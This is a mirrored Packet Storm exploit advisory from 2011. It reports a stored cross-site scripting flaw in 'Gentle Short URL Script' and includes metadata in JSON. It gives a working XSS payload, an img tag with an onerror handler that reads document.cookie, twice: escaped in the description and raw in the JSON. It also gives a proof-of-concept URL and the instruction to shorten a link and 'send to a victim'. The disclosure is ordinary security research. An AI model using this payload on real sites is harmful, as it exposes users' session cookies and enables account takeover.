Search...

Gentle Short URL Script Stored Cross Site Scripting

2011-09-03T00:00:00

ID PACKETSTORM:104767
Type packetstorm
Reporter Eyup CELIK
Modified 2011-09-03T00:00:00

Description

                                        
                                            `# Exploit Title: Gentle Short URL Script Stored XSS  
# Date: 2011  
# Author: Eyup CELIK  
# Version: All Version  
# Tested on: All versions are Vulnerability  
# Web Site: www.eyupcelik.com.tr  
  
ISSUE  
  
Link shorten, send to a victim.  
  
Vulnerable Module: Shorten URL Statics  
The end of the shortened link ! mentions  
  
Exploit:  
"/&gt;&lt;/a&gt;&lt;/&gt;&lt;img src=1.gif onerror=alert(document.cookie)&gt;  
  
POC:  
http://unrelo.com/PJls!  
  
  
Thanks,  
  
  
Eyup CELIK  
Information Technology Security Specialist  
http://www.eyupcelik.com.tr  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:104767", "type": "packetstorm", "bulletinFamily": "exploit", "title": "Gentle Short URL Script Stored Cross Site Scripting", "description": "", "published": "2011-09-03T00:00:00", "modified": "2011-09-03T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/104767/Gentle-Short-URL-Script-Stored-Cross-Site-Scripting.html", "reporter": "Eyup CELIK", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:17:01", "viewCount": 1, "enchantments": {"score": {"value": -0.4, "vector": "NONE", "modified": "2016-11-03T10:17:01", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:17:01", "rev": 2}, "vulnersScore": -0.4}, "sourceHref": "https://packetstormsecurity.com/files/download/104767/gentleshort-xss.txt", "sourceData": "`# Exploit Title: Gentle Short URL Script Stored XSS \n# Date: 2011 \n# Author: Eyup CELIK \n# Version: All Version \n# Tested on: All versions are Vulnerability \n# Web Site: www.eyupcelik.com.tr \n \nISSUE \n \nLink shorten, send to a victim. \n \nVulnerable Module: Shorten URL Statics \nThe end of the shortened link ! mentions \n \nExploit: \n\"/></a></><img src=1.gif onerror=alert(document.cookie)> \n \nPOC: \nhttp://unrelo.com/PJls! \n \n \nThanks, \n \n \nEyup CELIK \nInformation Technology Security Specialist \nhttp://www.eyupcelik.com.tr \n`\n", "immutableFields": []}